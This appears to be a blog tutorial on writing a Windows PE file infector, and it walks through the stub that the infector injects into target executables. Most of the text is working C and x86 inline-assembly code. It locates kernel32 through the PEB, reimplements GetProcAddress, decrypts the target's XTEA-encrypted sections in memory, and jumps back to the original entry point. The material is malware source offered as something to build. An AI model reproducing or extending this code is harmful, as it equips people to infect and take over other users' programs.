
This post will explain the “bulk” of the file infector. It will focus on writing the code to be 

injected and how to take advantage of the compiler to generate the instructions to inject into the 

target application. I will clarify that generating the instructions to inject means that the infector 

will be writing part of itself into the target application, and not that it will generate an additional 

assembly listing with any compiler flags which is then injected into the target by a different 

means. The main concept is that this will be done by declaring a naked function whose 

functionality is independent of in memory it is written and what program it is injected into 

(architecture limitations aside, obviously). The infector will then read the functions contents in 

memory and write it into the target application. The injection code needs to do several important 

things: 

• Preserve the registers upon entry (simple pushad/popad instructions). I miss the hell out 

of these two instructions in x86-64). 

• Find and store the load address of the image and of kernel32.dll 

• Implement GetProcAddress as well as some C runtime functions such as strcmp and 

strlen 

• Decrypt all encrypted sections in memory 

• Return execution to the normal application 

Finding the load address and the address of kernel32.dll is pretty straightforward. The technique 

that I used is an old shellcoding technique and should be compatible for Win XP to Windows 7. 

It works by finding the Process Environment Block (PEB) and then traversing the 

InLoadOrderModuleList found in PEB_LDR_DATA->PPEB_LDR_DATA. The definitions for 

these structures are all found in the link above. InLoadOrderModuleList is not found on MSDN, 

but the NTInternals site has the “proper” definition. Using the PEB is a great way to do this since 

it can always be found at the same location, mainly fs:[0x30]. What makes 

InLoadOrderModuleList so special is that the first entry will be the load address of the image. 

This is great because now there’s no worry about randomized base addresses. Also, the third 

entry will be the load address of kernel32.dll, which contains LoadLibrary and other very useful 

APIs such as VirtualProtect. The code for the injection function then, so far, looks like this: 

void __declspec(naked) injection_stub(void) { 

    __asm { //Prologue, stub entry point 

        pushad                   //Save context of entry point 

        push ebp                //Set up stack frame 

        mov ebp, esp 

        sub esp, 0x200        //Space for local variables 

  

    } 

    PIMAGE_DOS_HEADER target_image_base; 

    PIMAGE_DOS_HEADER kernel32_image_base; 

    __asm { 

        call get_module_list   //Get PEB 

        mov ebx, eax 

        push 0 

        push ebx 

        call get_dll_base       //Get image base of process 

        mov [target_image_base], eax 

        push 2 

        push ebx 



        call get_dll_base       //Get kernel32.dll image base 

        mov [kernel32_image_base], eax 

    } 

A stack frame is set up so the local variables can be referenced without issue. The value 

subtracted from ESP to make space for the local variables does not need to be exact since there’s 

no way to tell how the compiler will allocate the local variables in the stack frame. The value 

simply needs to be large enough that the state of the stack won’t get messed up by these 

allocations. It is possible to go back and look at the assembly dump of the function and modify 

the value so that there’s just enough room for those worried about space/cleanliness. With that 

out of the way, the remainder of the code calls two other functions, get_module_list and 

get_dll_base, which get InLoadOrderModuleList and an entry in InLoadOrderModuleList 

respectively. These are implemented as follows: 

/////////////////////////////////////////////////////////////////// 

//Gets the module list 

//Preserves no registers, PEB_LDR_DATA->PPEB_LDR_DATA->InLoadOrderModuleList 

returned in EAX 

/////////////////////////////////////////////////////////////////// 

__asm { 

get_module_list:        

        mov eax, fs:[0x30]   //PEB 

        mov eax, [eax+0xC]  //PEB_LDR_DATA->PPEB_LDR_DATA 

        mov eax, [eax+0xC]  //PEB_LDR_DATA->PPEB_LDR_DATA-

>InLoadOrderModuleList 

        retn 

} 

/////////////////////////////////////////////////////////////////// 

  

/////////////////////////////////////////////////////////////////// 

//Gets the DllBase member of the InLoadOrderModuleList structure 

//Call as void *get_dll_base(void *InLoadOrderModuleList, int index) 

/////////////////////////////////////////////////////////////////// 

__asm { 

get_dll_base: 

    push ebp 

    mov ebp, esp 

    cmp [ebp+0xC], 0x0      //Initial zero check 

    je done 

    mov ecx, [ebp+0xC]      //Set loop index 

    mov eax, [ebp+0x8]      //PEB->PPEB_LDR_DATA->InLoadOrderModuleList 

address 

    traverse_list: 

        mov eax, [eax]        //Go to next entry 

    loop traverse_list 

    done: 

        mov eax, [eax+0x18] //PEB-

>PPEB_LDR_DATA>InLoadOrderModuleList.DllBase 

        mov esp, ebp 

        pop ebp 

        ret 0x8 

} 

/////////////////////////////////////////////////////////////////// 



The next step is to implement GetProcAddress. The code for this is shown below: 

/////////////////////////////////////////////////////////////////// 

//Implementation of GetProcAddress 

//Call as FARPROC GetProcAddress(HMODULE hModule, LPCSTR lpProcName) 

/////////////////////////////////////////////////////////////////// 

get_proc_address: 

    __asm { 

        push ebp 

        mov ebp, esp 

        sub esp, 0x200 

    } 

    PIMAGE_DOS_HEADER kernel32_dos_header; 

    PIMAGE_NT_HEADERS kernel32_nt_headers; 

    PIMAGE_EXPORT_DIRECTORY kernel32_export_dir; 

    unsigned short *ordinal_table; 

    unsigned long *function_table; 

    FARPROC function_address; 

    int function_names_equal; 

    __asm { //Initializations 

        mov eax, [ebp+0x8] 

        mov kernel32_dos_header, eax 

        mov function_names_equal, 0x0 

    } 

    kernel32_nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)kernel32_dos_header 

+ kernel32_dos_header->e_lfanew); 

    kernel32_export_dir = 

(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)kernel32_dos_header +  

        kernel32_nt_headers-

>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 

    for(unsigned long i = 0; i < kernel32_export_dir->NumberOfNames; ++i) { 

        char *eat_entry = (*(char **)((DWORD_PTR)kernel32_dos_header + 

kernel32_export_dir->AddressOfNames + i * sizeof(DWORD_PTR))) 

            + (DWORD_PTR)kernel32_dos_header;   //Current name in name table 

        STRING_COMPARE([ebp+0xC], eat_entry) //Compare function in name table 

with the one we want to find 

        __asm mov function_names_equal, eax 

        if(function_names_equal == 1) { 

            ordinal_table = (unsigned short *)(kernel32_export_dir-

>AddressOfNameOrdinals + (DWORD_PTR)kernel32_dos_header); 

            function_table = (unsigned long *)(kernel32_export_dir-

>AddressOfFunctions + (DWORD_PTR)kernel32_dos_header); 

            function_address = (FARPROC)((DWORD_PTR)kernel32_dos_header + 

function_table[ordinal_table[i]]); 

            break; 

        } 

    } 

    __asm { 

        mov eax, function_address 

        mov esp, ebp 

        pop ebp 

        ret 0x8 

    } 

/////////////////////////////////////////////////////////////////// 



This function looks pretty complex, but in actuality it is pretty simple. The image below 

reproduced from Matt Pietrek’s article will clarify things a lot. 

 

This function starts off by finding the export directory (IMAGE_EXPORT_DIRECTORY 

structure) in kernel32.dll. This structure contains all of the relevant information about the exports 

of kernel32.dll. A loop is set to iterate through all of the exported functions. Then an entry from 

the name table (AddressOfNames) is retrieved. This is the name of the function that is exported 

by the DLL (e.g. “LoadLibraryA”, “GetSystemInfo”, etc..). This string is then compared with the 

string of the function to find. If there is a match, the ordinal number is obtained from the ordinal 

table (AddressOfNameOrdinals). This is then used as an index into the function address table 

(AddressOfFunctions) to retrieve the address of the function. And that’s all there is to it. 

STRING_COMPARE is just a macro that calls the implementations of strlen and strcmp variant. 

The macro and two functions are pretty straightforward and don’t really warrant any discussion. 

Now that GetProcAddress is implemented, the next step is to use it to decrypt the sections in 

memory. This will utilize VirtualProtect API and also the decryption function for the XTEA 

block cipher. The function, in its entirety, is shown below: 

/////////////////////////////////////////////////////////////////// 

//Decrypts all sections in the image, excluding .rdata/.rsrc/.inject 

//Call as void decrypt_sections(void *image_base, void *kernel32_base) 

/////////////////////////////////////////////////////////////////// 

decrypt_sections: 

    __asm { 

        push ebp 

        mov ebp, esp 

        sub esp, 0x200 

    } 

    typedef BOOL (WINAPI *pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, 

DWORD flNewProtect, 

        PDWORD lpflOldProtect); 

    char *str_virtualprotect; 

    char *str_section_name; 

    char *str_rdata_name; 

    char *str_rsrc_name; 

    PIMAGE_DOS_HEADER target_dos_header; 

    int section_offset; 

    int section_names_equal; 

    unsigned long old_protections; 



    pVirtualProtect virtualprotect_addr; 

    __asm { //String initializations 

        jmp virtualprotect 

        virtualprotectback: 

            pop esi 

            mov str_virtualprotect, esi 

        jmp section_name 

        section_nameback: 

            pop esi 

            mov str_section_name, esi 

        jmp rdata_name 

        rdata_nameback: 

            pop esi 

            mov str_rdata_name, esi 

        jmp rsrc_name 

        rsrc_nameback: 

            pop esi 

            mov str_rsrc_name, esi 

    } 

    __asm { //Initializations 

        mov eax, [ebp+0x8] 

        mov target_dos_header, eax 

        mov section_offset, 0x0 

        mov section_names_equal, 0x0 

        push str_virtualprotect 

        push [ebp+0xC] 

        call get_proc_address 

        mov virtualprotect_addr, eax 

    } 

    PIMAGE_NT_HEADERS target_nt_headers = 

(PIMAGE_NT_HEADERS)((DWORD_PTR)target_dos_header + target_dos_header-

>e_lfanew); 

    for(unsigned long j = 0; j < target_nt_headers-

>FileHeader.NumberOfSections; ++j) { 

        section_offset = (target_dos_header->e_lfanew + 

sizeof(IMAGE_NT_HEADERS) + 

            (sizeof(IMAGE_SECTION_HEADER) * j)); 

        PIMAGE_SECTION_HEADER section_header = 

(PIMAGE_SECTION_HEADER)((DWORD_PTR)target_dos_header + section_offset); 

        STRING_COMPARE(str_section_name, section_header) 

        __asm mov section_names_equal, eax 

        STRING_COMPARE(str_rdata_name, section_header) 

        __asm add section_names_equal, eax 

        STRING_COMPARE(str_rsrc_name, section_header) 

        __asm add section_names_equal, eax 

        if(section_names_equal == 0) { 

            unsigned char *current_byte =  

                (unsigned char *)((DWORD_PTR)target_dos_header + 

section_header->VirtualAddress); 

            unsigned char *last_byte =  

                (unsigned char *)((DWORD_PTR)target_dos_header + 

section_header->VirtualAddress  

                + section_header->SizeOfRawData); 

            const unsigned int num_rounds = 32; 

            const unsigned int key[4] = {0x12345678, 0xAABBCCDD, 0x10101010, 

0xF00DBABE}; 

            for(current_byte; current_byte < last_byte; current_byte += 8) { 



                virtualprotect_addr(current_byte, sizeof(DWORD_PTR) * 2, 

PAGE_EXECUTE_READWRITE, &old_protections); 

                unsigned int block1 = (*current_byte << 24) | 

(*(current_byte+1) << 16) | 

                    (*(current_byte+2) << 8) | *(current_byte+3); 

                unsigned int block2 = (*(current_byte+4) << 24) | 

(*(current_byte+5) << 16) | 

                    (*(current_byte+6) << 8) | *(current_byte+7); 

                unsigned int full_block[] = {block1, block2}; 

                unsigned int delta = 0x9E3779B9; 

                unsigned int sum = (delta * num_rounds); 

                for (unsigned int i = 0; i < num_rounds; ++i) { 

                    full_block[1] -= (((full_block[0] << 4) ^ (full_block[0] 

>> 5)) + full_block[0]) ^ (sum + key[(sum >> 11) & 3]); 

                    sum -= delta; 

                    full_block[0] -= (((full_block[1] << 4) ^ (full_block[1] 

>> 5)) + full_block[1]) ^ (sum + key[sum & 3]); 

                } 

                virtualprotect_addr(current_byte, sizeof(DWORD_PTR) * 2, 

old_protections, NULL); 

                *(current_byte+3) = (full_block[0] & 0x000000FF); 

                *(current_byte+2) = (full_block[0] & 0x0000FF00) >> 8; 

                *(current_byte+1) = (full_block[0] & 0x00FF0000) >> 16; 

                *(current_byte+0) = (full_block[0] & 0xFF000000) >> 24; 

                *(current_byte+7) = (full_block[1] & 0x000000FF); 

                *(current_byte+6) = (full_block[1] & 0x0000FF00) >> 8; 

                *(current_byte+5) = (full_block[1] & 0x00FF0000) >> 16; 

                *(current_byte+4) = (full_block[1] & 0xFF000000) >> 24; 

            } 

        } 

        section_names_equal = 0; 

    } 

    __asm { 

        mov esp, ebp 

        pop ebp 

        ret 0x8 

    } 

The first thing to note is how string initialization is done. Each string has its own label at the 

bottom of the function, which performs a call back into after the jump. After this call instruction 

the raw bytes of the string are emitted. This means that when the call is performed, the return 

address pushed on the stack will be that of the first byte in the string. This means that back in the 

label that is called, the return address can be popped off and inserted into the appropriate string 

variable. What follows then is that the address of VirtualProtect is retrieved. This function will 

be used to give PAGE_EXECUTE_READWRITE permission to the block of bytes to be 

decrypted. This is needed since some sections do not have the appropriate read/write/execute 

permissions, and will cause a crash if they have an unallowed action performed on them. Eight 

bytes are read from the section in memory at a time and the decryption routine is performed on 

them. Sections named .rdata, .rsrc, and .inject are not decrypted. This is because .rdata and .rsrc 

were not encrypted intially, and because .inject is the section name of the injected code. The 

decrypted bytes are written into memory and the loop continues until all bytes have been 

decrypted. 



The last thing that needs to be done is to jump back to the original entry point. This is done with 

the following code: 

__asm { //Epilogue, stub exit point 

    mov eax, target_image_base 

    add eax, 0xCCDDEEFF     //Signature to be replaced by original entry 

point (OEP) 

    mov esp, ebp 

    mov [esp+0x20], eax     //Store OEP in EAX through ESP to preserve across 

popad 

    pop ebp 

    popad                   //Restore thread context, with OEP in EAX 

    jmp eax                 //Jump to OEP 

} 

In the epilogue of the code to inject, the load address is moved into EAX. Then the dummy value 

of 0xCCDDEEFF is added to it. This value actually serves as a signature and is replaced by the 

injector with the original entry point. This value is then moved into [ESP+0x20], which is where 

EAX is in the stack after the pushad and push ebp instructions. The stack frame is then 

destroyed and the registers are restored to what they would be if there was no injected code 

(except EAX now contains the original entry point). A jump is made to EAX and now execution 

can be returned to the normal application. Shown below are examples of how instructions look 

when the application starts. Notice that none of the instructions in the original entry point make 

sense (this is because they’re encrypted). After the stub finishes its decryption routine, the 

instructions are returned to normal. 

 

Encrypted instructions in the .text section of the process. OllyDbg’s analysis on them couldn’t 

make any sense of it. 



 

The decrypted code at the entry point of the program. This image was taken after the jump to the 

original entry point. 

 


